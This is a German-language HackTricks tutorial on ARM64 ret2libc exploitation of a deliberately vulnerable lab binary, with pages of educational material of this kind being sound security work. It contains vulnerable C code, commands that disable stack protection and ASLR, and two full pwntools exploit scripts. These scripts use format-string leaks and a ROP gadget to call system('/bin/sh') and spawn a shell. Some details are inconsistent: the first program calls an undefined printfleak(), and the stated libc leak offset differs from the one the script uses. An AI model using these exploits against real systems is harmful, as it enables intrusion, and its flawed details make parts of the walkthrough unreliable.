Ret2lib + Printf leak - ARM64
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Ret2lib - NX bypass mit ROP (kein ASLR)
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Ohne canary kompilieren:
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Offset finden - x30-Offset
Wenn man ein Pattern mit pattern create 200 erzeugt, es benutzt und den Offset mit pattern search $x30 überprüft, sieht man, dass der Offset 108 (0x6c) ist.
.png)
Wenn man die disassemblierte main-Funktion betrachtet, sieht man, dass wir direkt zur Instruktion springen möchten, die zu printf springt, deren Offset relativ zur Ladeadresse der Binary 0x860 ist:
.png)
system und /bin/sh-String finden
Da ASLR deaktiviert ist, sind die Adressen immer gleich:
.png)
Gadgets finden
Wir müssen die Adresse des Strings /bin/sh in x0 haben und system aufrufen.
Mit rooper wurde ein interessantes Gadget gefunden:
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
Dieses gadget lädt x0 von $sp + 0x18, lädt anschließend die Adressen x29 und x30 vom sp und springt zu x30. Mit diesem gadget können wir das erste Argument kontrollieren und dann zu system springen.
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
Ret2lib - NX, ASL & PIE bypass mit printf leaks vom stack
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Kompilieren ohne canary:
clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIE und ASLR aber kein canary
- Runde 1:
- Leak of PIE from stack
- Abuse bof to go back to main
- Runde 2:
- Leak of libc from the stack
- ROP: ret2system
Printf leaks
Wenn man einen breakpoint setzt, bevor printf aufgerufen wird, ist es möglich zu sehen, dass es Rückkehradressen zur binary im stack gibt und auch libc-Adressen:
.png)
Beim Ausprobieren verschiedener offsets kann %21$p eine binary-Adresse leaken (PIE bypass) und %25$p eine libc-Adresse leaken:
.png)
Wenn man die leaked libc address von der base address von libc subtrahiert, sieht man, dass der offset der leaked address vom base 0x49c40 ist.
x30 offset
Siehe das vorherige Beispiel, da der bof derselbe ist.
Find Gadgets
Wie im vorherigen Beispiel müssen wir in x0 die Adresse zu dem String /bin/sh haben und system aufrufen.
Mit rooper wurde ein weiteres interessantes gadget gefunden:
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
Dieses Gadget lädt x0 von $sp + 0x78, lädt dann die Adressen x29 und x30 vom $sp und springt zu x30. Mit diesem Gadget können wir das erste Argument kontrollieren und dann zu system springen.
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


